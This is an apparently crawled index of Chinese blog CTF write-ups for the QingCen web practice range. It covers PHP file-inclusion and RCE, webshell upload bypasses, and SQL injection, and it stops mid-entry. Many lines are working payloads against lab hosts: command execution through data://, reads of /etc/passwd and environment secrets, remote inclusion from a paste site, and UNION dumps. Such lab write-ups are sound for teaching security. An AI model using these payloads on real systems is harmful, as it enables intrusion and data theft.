[{"content":"前言 终于到最后了，累/(ㄒoㄒ)/~~\nEZXSS EZXSS EZXSS_1 EZXSS_2 EZXXE EZXXE EZXXE_1 EZXXE_2 EZXXE_3 EZSSRF EZSSRF EZSSRF_1 EZSSRF_2 EZSSRF_3 EZSSRF_4 EZSSRF_5 EZSSRF_6 EZJWT EZJWT EZJWT_1 EZJWT_2 EZPOP EZPOP EZPOP_1 EZPOP_2 EZPOP_3 EZPOP_4 EZPOP_5 EZPOP_6 EZPOP_7 EZPOP_8 ","date":"2026-04-28T15:34:32+08:00","image":"https://blog.xxchenchen.top/img/qingcenctf-cover.svg","permalink":"https://blog.xxchenchen.top/p/qingcen%E9%9D%B6%E5%9C%BAweb%E5%85%A5%E9%97%A8wp-%E4%B8%8B/","title":"QingCen靶场Web入门wp 下"},{"content":"前言 继续~ 继续~ 鸽了好久\nEZFL EZFL(PHP 文件包含) 访问靶机 先随便点点，没有发现什么特殊交互和信息，看一下注释 发现两行特别注释\n第一条注释确认了后端使用 include($file) 进行文件包含\n第二条 Base64 解码后为：flag is in /flag.txt\n由于后端 include() 没有对 $file 做路径限制\n1 ?file=/flag.txt 直接传入了 /flag.txt，PHP 的 include 会读取并输出文件内容，flag 就被包含在页面中返回了\nEZFL_1(PHP 文件包含 + php://filter 伪协议读取源码) 访问靶机\n跟第一题没多大差别，没有什么可交互的，还是看一下注释，发现特别注释\nBase64 解码后：\u0026ldquo;The flag is right in flag.php, but you\u0026rsquo;ll never be able to see it.\u0026rdquo; 在flag.php中 但是我不能看见它\n尝试直接包含flag.php 返回 flag就在这里，不过我把他藏起来了\n因为 include(\u0026lsquo;flag.php\u0026rsquo;) 会执行PHP代码，flag 被藏在注释 //flag{\u0026hellip;} 中，PHP 不会输出注释内容\n使用php://filter 读取源码\n1 ?file=php://filter/read=convert.base64-encode/resource=flag.php 让PHP不执行flag.php 而是Base64编码再输出 这样就能看见源码\n然后再转换一下就能看到flag\nEZFL_2(PHP 文件包含 + php://filter 伪协议读取源码 + base64过滤绕过) 访问靶机\n依旧没有交互 看一下注释 和上一题的注释内容一样\n尝试一下上一题的payload 发现不行 返回no way 可能过滤了base64 尝试一下其他的过滤器 convert.iconv.UTF-8.UTF-16LE\n原文件开头是 [?php 转成 UTF-16LE 后会变成类似 \u0026lt;00?\u0026lt;00p\u0026lt;00h\u0026lt;00p\u0026lt;00\n这样就不再是可执行的 PHP 标签 include 时不会执行，而是把源码内容直接吐出来\n1 ?file=php://filter/convert.iconv.UTF-8.UTF-16LE/resource=flag.php EZFL_3(LFI -\u0026gt; php://input -\u0026gt; RCE) 访问首页 和前面题目一样 首页没有可交互的地方，那就看一下注释\n大概意思就是 让我们靠自己 没有提示了\n利用 PHP 的 php://filter 伪协议读取 index.php 的源码 $file 直接取自 $_GET[\u0026lsquo;file\u0026rsquo;]，没有任何过滤或白名单校验，直接传入 include()，存在无限制的本地文件包含漏洞\n使用目录穿越读取系统文件\n1 http://docker.qingcen.net:47554/?file=/etc/passwd 单纯的文件包含只能读取文件，要获取 flag 需要执行命令。利用 php://input 伪协议可以将 POST 请求体作为 PHP 代码执行\n接着查看flag的位置\n1 \u0026lt;!-- 执行 ls -la / 命令 --\u0026gt; 发现有关flag的随机文件 进行访问\n1 \u0026lt;!-- 读取 flag 文件 --\u0026gt; 成功获得flag\nEZFL_4 访问首页 和前面题目一样 首页没有可交互的地方 直接看注释 注释也一样 让我们自己往下做\n文件包含题 直接目录穿越\n1 http://docker.qingcen.net:49138/?file=../../../../etc/passwd 成功读到 /etc/passwd，说明这里是一个可利用的 LFI。接着尝试直接读源码，比如 index.php 或 php://filter\n都会返回 php not allowed，说明程序对 file 参数里的 php 做了黑名单过滤\n继续测试发现 data:// 没被拦，而且能被 include\n1 http://docker.qingcen.net:49138/?file=data://text/plain,Chen 既然 include(data://\u0026hellip;) 成立，就可以直接注入 PHP 代码拿 RCE\n1 http://docker.qingcen.net:49138/?file=data://text/plain,%3C?=%60id%60?%3E 返回 uid=33(www-data)，说明命令执行成功。随后枚举站点目录\n1 http://docker.qingcen.net:49138/?file=data://text/plain,%3C?=%60ls%20-la%20/var/www/html%202%3E%261%60?%3E 发现根目录下有 flag.php。由于 file 参数里不能出现明文 php，这里用 shell 通配符绕过黑名单，直接读取\n1 http://docker.qingcen.net:49138/?file=data://text/plain,%3C?=%60cat%20/var/www/html/fla*%202%3E%261%60?%3E 最后flag在源码里\nEZFL_5 访问首页 和前面题目一样 首页没有可交互的地方 直接看注释 注释也一样 让我们自己往下做\n先尝试常见的伪协议包含\n1 ?file=data://,\u0026lt;!-- 执行 ls 命令 --\u0026gt; 返回 data not allowed，说明题目对 data:// 做了过滤\n既然只过滤了 data，就换用另一个 PHP 伪协议 php://input。php://input 可以读取原始 POST 数据，而 include() 在包含它时会把其中的 PHP 代码当作脚本执行\n1 \u0026lt;!-- 读取 flag.php --\u0026gt; 获得flag\nEZFL_6(PHP 远程文件包含（RFI） -\u0026gt; 代码执行（RCE）) 访问首页 页面存在 file 参数，查看源码可以看到注释：\n说明后端大概率直接对 file 做了 include()，先用\n1 ?file=/etc/passwd 成功读到文件，确认存在文件包含漏洞\n继续测试后发现，php:// 和 data:// 都被关键词过滤，常规的 php://filter 利用不了。但进一步发现 http:// 可以被包含，也就是说这里不只是 LFI，还存在 RFI（远程文件包含）。更关键的是：远程文件中的 PHP 短标签 [?= \u0026hellip; ]? 会被目标服务器解析执行。于是可以在外部托管一个简单 payload，例如\n1 [?=implode(\u0026#39;,\u0026#39;,scandir(\u0026#39;/\u0026#39;));]? https://paste.rs/web 这是一个支持公开纯文本和 Raw 直链的粘贴网站\n在上面直接输入 [?=implode(\u0026quot;,\u0026quot;,scandir(\u0026quot;/\u0026quot;));]? 会获得一个链接 https://paste.rs/**** 每次都不一样 直接访问即可\n1 http://docker.qingcen.net:38006/?file=https://paste.rs/SAfmv 从而枚举根目录,结果在根目录下发现了可疑文件 qingcenctf.txt 直接读取\n1 http://docker.qingcen.net:38006/?file=/qingcenctf.txt EZFL_7 访问首页 直接给了源码\n1 2 3 4 5 6 7 8 9 10 11 [?php highlight_file(__FILE__); if (isset($_POST[\u0026#39;filename\u0026#39;]) \u0026amp;\u0026amp; isset($_POST[\u0026#39;content\u0026#39;])) { $filename = $_POST[\u0026#39;filename\u0026#39;]; $content = $_POST[\u0026#39;content\u0026#39;]; // 在文件内容前添加 exit 前缀，阻止后续代码执行 echo \u0026#34;write ok\u0026#34;; } ]? 说明这是任意文件写入，但会强行在前面加 [?php exit();]?，所以不能直接写普通 webshell\n用 php://filter/write=convert.base64-decode/resource=chen.php 绕过前缀，在burp里发 POST\n1 2 filename=php://filter/write=convert.base64-decode/resource=chen.php content=APD9waHAgc3lzdGVtKCJscyIpOz8%2B 这段 content 解码后就是执行 ls 命令的代码，前面的 A 是为了配合固定前缀做对齐\n写入成功 访问 http://docker.qingcen.net:34249/chen.php\n可以看到两个文件 c0nq4er1ng.php conquer.php 接下来获取内容就行了\n1 [?php highlight_file(\u0026#34;c0nq4er1ng.php\u0026#34;); echo \u0026#34;\\n---\\n\u0026#34;; highlight_file(\u0026#34;conquer.php\u0026#34;);]? 也就是\n访问readsrc.php即可看到两个文件的源码\nEZFU EZFU 访问首页 发现有文件上传功能 正常上传一个测试文件，服务端返回 uploads/.，说明上传后的文件可以直接通过 Web 路径访问\n在源码里看到它只取原始文件名扩展名，然后直接 move_uploaded_file()，没有任何类型校验 直接抓包 改包发送即可\n接着直接访问返回的 file_url 验证命令执行\n1 http://docker.qingcen.net:35383/uploads/xxxxxx.php?cmd=id 一般来说 flag会放在环境变量中\n1 http://docker.qingcen.net:35383/uploads/xxxxxx.php?cmd=printenv 成功获得flag\nEZFU_1 和前面一样 那我们直接看源码\n只允许上传图片文件 我们上传一个简单的图片绕过前端 在burp中修改文件名和内容即可\n修改请求体 中filename 1.png-\u0026gt;1.php 和Content-Type image/png-\u0026gt;application/x-php\n上传成功 我们直接访问并测试 命令是否执行\n1 http://docker.qingcen.net:42821/upload/******.php?cmd=id 命令执行成功 直接读环境变量获得flag\n1 http://docker.qingcen.net:42821/uploads/********.php?cmd=printenv 成功获得flag\nEZFU_2 一、初始观察\n打开题目页面，是一个很简洁的文件上传表单，只接受 image 字段，上传后返回文件路径。没有登录、没有验证码，看起来就是考上传绕过。\n二、试探过滤规则\n先拿不同类型的文件试了一圈，摸清楚后端的过滤逻辑。\ntest.php 直接被拦，返回 File type not allowed，说明有扩展名黑名单。test.php5 也被拦了，test.pHp 大小写混写同样没用，后端会先转小写再匹配。\n正常的图片文件 test.jpg 和 test.png 都能上传成功。\n试了 test.phtml，居然过了，既没被黑名单拦，也没被内容检测拦。另外 .htaccess 也能传上去。\n再试 test.phar，这次是被内容检测拦下来的，返回 File content not allowed。说明后端除了黑名单之外，还会扫描文件内容里有没有 [?php 之类的标记。\n到这里就清楚了，后端有两层过滤。第一层是扩展名黑名单，拦了php、php3、php4、php5、phps、pht、jsp、jspx、asp、aspx、sh、py、pl、exe、bat、cmd 这些。第二层是内容检测，如果文件里出现 [?php 或 [?=，只有扩展名是 .phtml 的时候才放行。 所以 .phtml 就是突破口——不在黑名单里，内容检测也给它开了绿灯，而且 Apache 默认配置会把它当 PHP 解析。\n三、拿到 Webshell\n构造一句话木马，保存为 shell.phtml 上传。服务器返回了路径 uploads/96289496-024a-471d-8ad0-faeb1416d3a3.phtml。\n直接浏览器访问这个地址，页面输出了 phpinfo 的内容，确认 .phtml 被当成 PHP 执行了。\n四、找 Flag\n用 webshell 执行命令找 flag。先翻了 /flag*、/root/、/var/www/html/ 这些常见位置，都没有。\n然后直接读环境变量 env，输出里赫然写着 FLAG=flag{4327b3b7-cfac-46f7-8e6f-88810e9a2147}。\nFlag 是通过 Docker 的 ENV 指令注入进容器的，不在文件系统里，所以用 find 搜文件名根本搜不到，必须用 env 或 printenv 才能看见。\n五、复盘\n这题核心考了两个点。\n一个是扩展名黑名单不完整。.phtml 是 PHP 的合法扩展名，出题人的黑名单里漏掉了。做文件上传题要对各种web 语言的冷门扩展名心里有数，比如 .phtml、.pht、.phps、.phar 这些，黑名单很容易漏。\n另一个是 flag 的藏法。Docker 容器里经常通过环境变量注入 flag，不是文件，用 find 搜不到。养成习惯进容器先 env 看一眼。\nEZFU_3 访问首页，文件上传表单，PHP 8.2.30\n测试发现这次加了文件头（Magic Bytes）校验。.phtml 不在扩展名黑名单中，但裸 PHP 代码过不了文件头检查\n突破口是给 PHP 文件加上合法的图片文件头骗过校验。构造 payload 时在 PHP 代码前添加 GIF89a GIF 文件头，保存为 shell.phtml，上传时 MIME 改为 image/gif，成功绕过两层检测\n上传成功后访问返回的文件路径，读取环境变量获得 flag：\n1 FLAG=flag{d88193df-d1e2-479a-9612-7b7b78907947} 复盘：这题比 EZFU_2 多了一层文件头校验。.phtml 扩展名不在黑名单中，加上 GIF89a 前缀后文件头检测认为是合法 GIF 图片，而 Apache 仍然会把 .phtml 当 PHP 解析执行。flag 藏在 Docker 环境变量中\nEZFU_4 访问首页，文件上传表单。这次比上一题多了 PHP 内容检测\n测试发现后端只检测了 [?php 这种完整标签，漏掉了 [?= 短标签（PHP short echo tag）。[?= 在 PHP 5.4+ 中默认开启，等价于 [?php echo 构造 payload 时使用 [?= 替代 [?php，加上 GIF89a 文件头，保存为 shell.phtml 上传成功。读取环境变量获得 flag：\n1 FLAG=flag{a07a2652-2904-4bdb-9cac-9cb2f95e4376} 复盘：后端只匹配了 [?php，没有覆盖 [?= 短标签。做内容检测类题目时要注意所有可能的标签写法\nEZFU_5 与 EZFU_4 解法一致，环境换成了 PHP 8.2.30。在 PHP 8.x 中 \u0026lt;% 和 \u0026lt;script language=\u0026quot;php\u0026quot;\u0026gt; 已被移除，[?= 是唯一能绕过 [?php 检测的短标签写法\n使用同样方法获得 flag：\n1 FLAG=flag{88bb2214-4585-41ab-b0f5-ad06e6a5a41a} 复盘：注意 payload 中变量要用单引号，双引号在 multipart 上传时可能被转义导致命令无法传入\nEZFU_6 在 EZFU_5 基础上加了危险函数检测。常见命令执行函数 等常见命令执行函数全被拦截\n但遗漏了 PHP 的反引号运算符。反引号在 PHP 中等价于 命令执行函数，但它是运算符不是函数名，不被关键词黑名单匹配。使用 [?= + 反引号构造 payload 上传成功\n读取环境变量获得 flag：\n1 FLAG=flag{e0299c86-2e7c-4f50-a94e-f7e935190f8d} 复盘：防御时不能只靠函数名黑名单，还应禁用反引号，或在 php.ini 中设置 disable_functions 彻底禁用危险函数\nEZFU_7 封了 .phtml，但 .php7 和 .phar 可以上传，且文件名保留原始名称。.htaccess 也可以上传\n两步配合：先上传 .htaccess 设置 AddType application/x-httpd-php .php7，再上传 webshell 的 .php7 文件。访问 webshell 读取环境变量获得 flag：\n1 FLAG=flag{01767fde-9e9b-4438-9555-b7f1dfd30d7b} 复盘：文件名未随机化是关键漏洞，允许上传 .htaccess 修改 Apache 解析规则\nEZFU_8 .htaccess 不生效（Apache AllowOverride None），但 uploads 目录下有 index.php\n突破口是 .user.ini。它是 PHP-FPM 的用户级配置文件，不受 Apache AllowOverride 限制。利用 auto_prepend_file 指令让 PHP 在执行任何文件前先包含指定文件\n先上传带 PHP 代码的 GIF 文件作为 webshell，再上传 .user.ini 设置 auto_prepend_file 指向该 GIF。访问 index.php 触发包含执行，获得 flag：\n1 FLAG=flag{c5547a89-8077-43e9-8916-8fc129ba423b} 复盘：.htaccess 由 Apache 读取受 AllowOverride 控制，.user.ini 由 PHP-FPM 自身读取不经过 Apache。防御时应禁止上传 .user.ini 和 .htaccess\nEZFU_9 综合题，涉及信息泄露 → 登录认证 → 文件上传三个环节\n第一步：源码泄露。login.php 的 ?doc= 参数存在目录穿越，用 ../ 读取 PHP 源码\n第二步：获取密码。源码中密码藏在 /etc/passwd 的 GECOS 字段（pass=HHEFasNdUZMc），用目录穿越读取\n第三步：登录后台。Dashboard 有 .bz2 备份恢复功能，解压后文件名 = 上传文件名去掉 .bz2 后缀\n第四步：构造恶意 bz2。用 Python 的 bz2.compress() 创建包含 PHP 代码的 bzip2 文件，命名为 shell.php.bz2 上传，解压后写入 uploads/shell.php\n访问 webshell 获得 flag：\n1 FLAG=flag{28632ee2-2849-449b-9cea-db6e9d8e4584} 复盘：多漏洞组合利用，文件名处理是关键——去掉 .bz2 后缀作为写入路径\nEZFU_10 login.php 弱口令 admin / 123456 直接登录\nDashboard 备份恢复功能使用 include() 直接包含上传的 .bz2 文件。bz2 压缩数据中的 PHP 代码会被解析执行\n但因为上传是 POST 请求，$_GET 参数不可用。需要用 文件写入函数 先写入持久化 webshell，再通过 GET 请求触发\n用 Python 的 bz2.compress() 创建包含写文件逻辑的 payload，命名为 writer.bz2 上传。服务器 include() 执行后将 webshell 写入 uploads/rce.php，访问获得 flag：\n1 FLAG=flag{fefcc82a-45f7-49fa-bcbb-d3f0538bb502} 复盘：弱口令是第一个突破口，include() 直接包含上传文件是第二个，POST 时 $_GET 不可用需要持久化是第三个\nEZFU_11 PHP 文件可以直接上传（无扩展名黑名单），但 uploads 目录下 .htaccess 阻止 PHP 执行，且每次上传后自动恢复原始 .htaccess\n利用 .htaccess 覆盖机制：先上传自定义 .htaccess（使用 RemoveType 和 RemoveHandler 移除 PHP 解析限制），再立刻上传 PHP webshell，在服务器恢复原始 .htaccess 前访问\n读取 /flag 文件获得 flag：\n1 FLAG=flag{a325e29e-fc14-41d2-864f-1a1d79d8269b} 复盘：这是竞态条件利用——必须在服务器恢复原始 .htaccess 之前快速完成上传和访问。flag 位于 /flag 文件而非环境变量中\nEZFU_12 访问首页，文件上传表单，PHP 8.2.30。文件名会被加上 UUID 前缀进行随机化\n测试发现 PHP 文件可以直接上传，且上传后代码会立刻执行。但大约 2 秒后文件会被自动删除——这是一个竞态条件漏洞\n解题思路：\n构造一个读取系统信息的 PHP 脚本（用 shell_exec 函数执行 env 或 cat 命令） 通过 curl 上传该脚本，服务端返回带 UUID 的文件路径 在文件被删除前立刻用 curl 访问该路径获取输出 由于文件存活时间极短，需要在一次请求中完成上传和访问。用 shell 脚本先上传获取 URL，再立刻访问：\n1 2 3 # 第一步：上传包含命令执行代码的 PHP 文件 # 第二步：立刻访问返回的文件路径 # 输出中包含环境变量或文件内容 实际操作中，上传读取环境变量的脚本后立刻访问，获得 flag：\n1 flag{2630f931-6b0a-45db-915f-a1d4d055c4dc} 复盘：这题的核心是竞态条件——PHP 文件上传后立刻可执行，但约 2 秒后被清理脚本删除。攻击者必须在这 2 秒窗口内完成上传和访问。防御时应在校验通过后再写入磁盘，或者在上传时就阻止含危险代码的文件，而非事后清理\nEZFU_13 访问首页，是一个\u0026quot;在线 ZIP 解压中心\u0026quot;，上传 ZIP 文件后自动解压并提供下载链接\n页面 HTML 注释中泄露了提示：flag 位于 /C000000quer.txt。但下载接口的 file 参数做了路径穿越过滤，无法直接读取系统文件\n突破口是 ZIP 符号链接攻击。ZIP 格式支持存储 Unix 符号链接，解压时如果服务端不做校验，会创建指向任意路径的符号链接。通过下载接口访问该符号链接时，服务端会跟随链接读取目标文件内容\n用 Python 构造包含符号链接的 ZIP 文件，将链接目标设为 /C000000quer.txt，链接名称设为 flag_link。上传后解压生成符号链接，通过下载接口访问即可读取 flag：\n1 download.php?id=任务ID\u0026amp;file=flag_link 输出：\n1 flag{a8e7c643-b427-4091-8e7a-1e71f23dbd37} 构造恶意 ZIP 的 Python 代码思路：\n1 2 3 4 使用 zipfile 模块创建 ZipInfo 对象 设置 create_system = 3（Unix） 设置 external_attr 为符号链接权限（0o120777 \u0026lt;\u0026lt; 16） 写入链接目标路径作为文件内容 复盘：这题考的是 ZIP 符号链接攻击。ZIP 格式可以存储符号链接，如果解压时不检查链接目标，就会创建指向系统任意文件的符号链接。配合下载接口，可以读取系统上的敏感文件。防御时解压后应检查文件类型，拒绝符号链接或限制链接目标路径\nEZFU_14 访问首页，是一个\u0026quot;在线图片检测中心\u0026quot;，上传 JPG 图片后自动生成检测报告\n页面 HTML 注释泄露提示：源码备份存在。访问 index.php.bak 获取源码\n源码中发现关键漏洞——命令注入：\n1 2 $file = \u0026#34;uploads/\u0026#34; . $uploadedName; exec(\u0026#34;file \u0026#34; . $file . \u0026#34; 2\u0026gt;\u0026amp;1\u0026#34;, $details, $status); 文件名未经任何过滤直接拼接进 shell 命令。后端只校验扩展名为 .jpg，但文件名中可以包含 shell 元字符\n利用分号 ; 作为命令分隔符注入命令。文件名格式为 x.jpg;要执行的命令;#.jpg，其中：\nx.jpg 满足扩展名校验 ; 分隔出新命令 # 注释掉后面的 .jpg 2\u0026gt;\u0026amp;1 通过注入 ls -la 发现目录下有 pigeon_cat.php 文件，读取该文件获得 flag：\n1 flag{2f3dfdf9-33c7-48e5-99fe-91973754ef8e} 复盘：这题考的是命令注入。exec() 函数直接拼接用户输入的文件名到 shell 命令中，没有任何过滤。后端只校验了文件扩展名，没有对文件名内容做安全检查。防御时应使用 escapeshellarg() 对用户输入进行转义，或者使用白名单只允许字母数字和点号\nEZSQL EZSQL(字符型 UNION 联合查询注入) 访问靶机，页面是一个学生成绩查询系统，输入学号返回姓名、学号、班级、成绩四个字段\n先测试正常查询 id=2026001，返回学生 Zhang Wei 的信息，说明后端有数据且查询正常\n测试 id=1' 没有报错，而是返回 not found，说明可能存在字符型注入，单引号被包裹在查询中\n尝试 id=1 or 1=1，返回了第一条学生记录，确认存在注入。进一步用 UNION SELECT 确定列数：\n1 ?id=-1 union select 1,2,3,4-- +- 返回了 1、2、3、4 四个值，确认查询有 4 列，且页面回显位置为：Welcome 对应第 2 列，Student ID 对应第 1 列，Class 对应第 3 列，Score 对应第 4 列\n接下来获取数据库名和版本：\n1 ?id=-1 union select 1,database(),3,4-- +- 数据库名为 user，版本为 MariaDB 10.4.13\n然后枚举当前数据库的所有表：\n1 ?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- +- 发现两张表：flag 和 students\n查看 flag 表的列名：\n1 ?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=\u0026#39;flag\u0026#39;-- +- 列名为 id 和 secret\n最后直接 dump flag 表：\n1 ?id=-1 union select 1,group_concat(id,0x3a,secret),3,4 from flag-- +- 成功获得 flag：flag{1ce6dd45-6029-4382-b362-cf4c39792992}\nEZSQL_1(字符型 SQL 注入 - 万能密码登录绕过) 访问靶机，页面是一个登录表单，使用 GET 方法提交 username 和 password 两个参数\n先用 admin / admin 正常登录，返回 Login failed.，说明后端有查询逻辑\n测试注入，在 username 后加单引号 admin'，仍然返回 Login failed.，没有报错信息泄露，但也没有语法错误提示，说明可能存在字符型注入\n经典的万能密码思路——用单引号闭合 username 字段，再用注释符 --+- 把后面的密码检查注释掉：\n1 ?username=admin\u0026#39;--+-\u0026amp;password=任意值 SQL 语句变为：\n1 SELECT * FROM users WHERE username = \u0026#39;admin\u0026#39;--+-\u0026#39; AND password = \u0026#39;...\u0026#39; --+- 注释掉了密码校验部分，直接以 admin 身份登录成功，页面返回绿色提示框，flag 直接显示：\nflag{2ee641f8-b9ae-4f3e-8c67-bf22dd448f23}\n复盘：后端对用户输入没有任何过滤和转义，直接拼接进 SQL 语句。这是最基础的字符型 SQL 注入，万能密码绕过登录的经典案例。防御时应使用参数化查询（Prepared Statements）\nEZSQL_2(字符型 UNION 联合查询注入 - 注入点在 Password 字段) 访问靶机，页面是一个登录表单，GET 方法提交 username 和 password 两个参数 先正常登录 admin / admin，返回 Login failed. 测试注入点，在 username 后加单引号 admin'，仍然返回 Login failed，没有报错 尝试经典万能密码 admin'--+-，同样失败，说明 --+- 被过滤或者注释方式不同 换用 # 注释符测试：\n1 ?username=admin\u0026#39;#\u0026amp;password=x 返回 Welcome admin，说明 # 注释有效，密码校验被绕过。但页面只显示欢迎信息，没有直接给出 flag，需要用 UNION 注入从数据库中提取 确定列数，依次测试 2、3、4、5 列：\n1 ?username=-1\u0026#39; union select 1,2,3,4#\u0026amp;password=x 4 列时返回 Welcome 2，确认查询有 4 列，页面回显位置为第 2 列 获取数据库名和版本：\n1 ?username=-1\u0026#39; union select 1,database(),3,4#\u0026amp;password=x 数据库名为 user，版本为 MariaDB 10.4.13 枚举当前数据库的表：\n1 ?username=-1\u0026#39; union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#\u0026amp;password=x 只有一张表：flag 查看 flag 表的列名：\n1 ?username=-1\u0026#39; union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=\u0026#39;flag\u0026#39;#\u0026amp;password=x 四列：id、name、passwd、secret 直接 dump flag 表：\n1 ?username=-1\u0026#39; union select 1,group_concat(id,0x3a,name,0x3a,passwd,0x3a,secret),3,4 from flag#\u0026amp;password=x 返回 1:admin:admin123:flag{87193361-15bf-4ce8-affe-9a068f8e6852}，成功获得 flag\n复盘：这题与 EZSQL_1 的区别在于注释符——--+- 被过滤，需要改用 # 注释。登录成功后不会直接显示 flag，需要通过 UNION 联合查询注入从 flag 表的 secret 列中提取。flag 表同时充当了用户表和 flag 存储的角色\nEZSQL_3(字符型 SQL 注入 - 报错回显 + 括号闭合 + UNION 联合查询注入) 访问靶机，页面是一个登录表单，GET 方法提交 username 和 password 两个参数 正常登录 admin / admin，返回 Login failed.，没有直接报错 测试注入，在 username 后加单引号 admin'：\n1 ?username=admin\u0026#39;\u0026amp;password=x 返回 SQL Error: You have an error in your SQL syntax...near '' at line 1，存在报错回显，确认注入点 尝试 admin'--+-，报错 near 'x')，说明查询中使用了括号包裹条件，类似：\n1 SELECT * FROM users WHERE (username = \u0026#39;...\u0026#39;) AND (password = \u0026#39;...\u0026#39;) 尝试 admin'#，仍然报错 near ''，说明 # 后面还有未闭合的括号。正确的闭合方式是先闭合括号再注释：\n1 ?username=admin\u0026#39;)#\u0026amp;password=x 返回 Welcome admin，登录成功但没有 flag。与 EZSQL_2 一样，需要用 UNION 注入提取数据 确定列数，测试 1~6 列：\n1 ?username=-1\u0026#39;) union select 1,2,3,4#\u0026amp;password=x 4 列时返回 Welcome 2，确认查询有 4 列，回显位在第 2 列 获取数据库名和版本：\n1 ?username=-1\u0026#39;) union select 1,database(),3,4#\u0026amp;password=x 数据库名为 user，版本为 MariaDB 10.4.13 枚举当前数据库的表：\n1 ?username=-1\u0026#39;) union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#\u0026amp;password=x 只有一张表：flag 查看 flag 表的列名：\n1 ?username=-1\u0026#39;) union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=\u0026#39;flag\u0026#39;#\u0026amp;password=x 四列：id、name、passwd、secret 直接 dump flag 表：\n1 ?username=-1\u0026#39;) union select 1,group_concat(id,0x3a,name,0x3a,passwd,0x3a,secret),3,4 from flag#\u0026amp;password=x 返回 1:admin:admin123:flag{d2556f2f-ccde-40ff-b698-2b2afaec3f94}，成功获得 flag\n复盘：这题与前两题的核心区别是查询条件使用了括号包裹。admin'# 无法绕过是因为括号未闭合，必须写成 admin')# 先闭合括号再注释。同时页面存在报错回显，可以利用错误信息推断查询结构。做 SQL 注入题时要注意观察报错中的括号、引号等细节来还原后端查询语句\nEZSQL_4(字符型 SQL 注入 - 双引号闭合 + UNION 联合查询注入) 访问靶机，页面是一个登录表单，GET 方法提交 username 和 password 两个参数 正常登录 admin / admin，返回 Login failed. 测试单引号注入 admin'#，返回 Login failed，不起作用 测试双引号注入：\n1 ?username=admin\u0026#34;#\u0026amp;password=x 返回 Welcome admin，说明后端使用双引号包裹字符串，# 注释有效 进一步测试 admin\u0026quot;)#，报错信息泄露了查询结构：near ')#\u0026quot; AND passwd = \u0026quot;x\u0026quot;'，确认：\n查询使用双引号 \u0026quot; 而非单引号 ' 密码字段名为 passwd 没有括号包裹条件 登录成功但没有 flag，需要用 UNION 注入提取数据。使用双引号闭合： 1 ?username=-1\u0026#34; union select 1,2,3,4#\u0026amp;password=x 4 列时返回 Welcome 2，确认查询有 4 列，回显位在第 2 列 获取数据库名和版本：\n1 ?username=-1\u0026#34; union select 1,database(),3,4#\u0026amp;password=x 数据库名为 user，版本为 MariaDB 10.4.13 枚举当前数据库的表：\n1 ?username=-1\u0026#34; union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#\u0026amp;password=x 只有一张表：flag 查看 flag 表的列名：\n1 ?username=-1\u0026#34; union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=\u0026#39;flag\u0026#39;#\u0026amp;password=x 四列：id、name、passwd、secret 直接 dump flag 表：\n1 ?username=-1\u0026#34; union select 1,group_concat(id,0x3a,name,0x3a,passwd,0x3a,secret),3,4 from flag#\u0026amp;password=x 返回 1:admin:admin123:flag{3cd5863c-8dad-4e33-9b8d-8e349dfeb663}，成功获得 flag\n复盘：这题的核心区别是后端使用双引号 \u0026quot; 而非单引号 ' 包裹 SQL 字符串。常规的单引号闭合全部失效，需要先判断引号类型再构造 payload。做 SQL 注入时如果单引号不生效，一定要尝试双引号\nEZSQL_5(字符型 SQL 注入 - 双引号括号闭合 + UNION 联合查询注入) 访问靶机，页面是一个登录表单，GET 方法提交 username 和 password 两个参数 正常登录 admin / admin，返回 Login failed. 先测试单引号 admin'#，不起作用。测试双引号+括号组合：\n1 ?username=admin\u0026#34;)#\u0026amp;password=x 返回 Welcome admin，说明后端使用双引号 \u0026quot; 包裹 + 括号 () 包裹条件，查询结构类似：\n1 SELECT * FROM users WHERE (username = \u0026#34;admin\u0026#34;) AND (passwd = \u0026#34;x\u0026#34;) 登录成功但没有 flag，需要用 UNION 注入提取数据。使用 \u0026quot;) 闭合：\n1 ?username=-1\u0026#34;) union select 1,2,3,4#\u0026amp;password=x 4 列时返回 Welcome 2，确认查询有 4 列，回显位在第 2 列 枚举当前数据库的表：\n1 ?username=-1\u0026#34;) union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#\u0026amp;password=x 只有一张表：flag 查看 flag 表的列名：\n1 ?username=-1\u0026#34;) union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()#\u0026amp;password=x 四列：id、name、passwd、secret 直接 dump flag 表：\n1 ?username=-1\u0026#34;) union select 1,group_concat(id,0x3a,name,0x3a,passwd,0x3a,secret),3,4 from flag#\u0026amp;password=x 返回 1:admin:admin123:flag{0de95981-a6b8-43de-bf93-7cc4ab16daa3}，成功获得 flag\n复盘：这题结合了 EZSQL_3（括号闭合）和 EZSQL_4（双引号）两个特征。需要同时用 \u0026quot;) 闭合双引号和括号，再用 # 注释掉后续条件。随着题目递进，闭合方式越来越复杂，做题时要系统地测试引号类型和括号组合\nEZSQL_6(字符型 SQL 注入 - WAF 过滤注释符 + 引号平衡绕过 + UNION 联合查询注入) 访问靶机，页面是一个登录表单，GET 方法提交 username 和 password 两个参数 正常登录 admin / admin，返回 Login failed. 测试单引号注入 admin'#，返回 Invalid characters detected.，说明 # 被 WAF 拦截 测试 admin'--+-，同样被拦截。说明 # 和 -- 注释符都被过滤 但 admin' 返回 SQL 报错，确认存在注入点。尝试不用注释符的绕过方式：\n1 ?username=admin\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026amp;password=x 返回 Welcome admin，通过引号平衡绕过登录。原理是让 SQL 语句的引号自然闭合：\n1 WHERE username = \u0026#39;admin\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; AND passwd = \u0026#39;x\u0026#39; '1'='1' 中最后的 ' 与后续的 AND 形成合法语句 登录成功但没有 flag，需要用 UNION 注入。在 username 字段注入 UNION 会触发 passwd 列名冲突错误，改用 password 字段注入：\n1 ?username=xxxx\u0026amp;password=-1\u0026#39;union select 1,2,3,4 or \u0026#39;1\u0026#39;=\u0026#39;1 4 列时返回 Welcome 2，确认查询有 4 列，回显位在第 2 列 获取数据库名：\n1 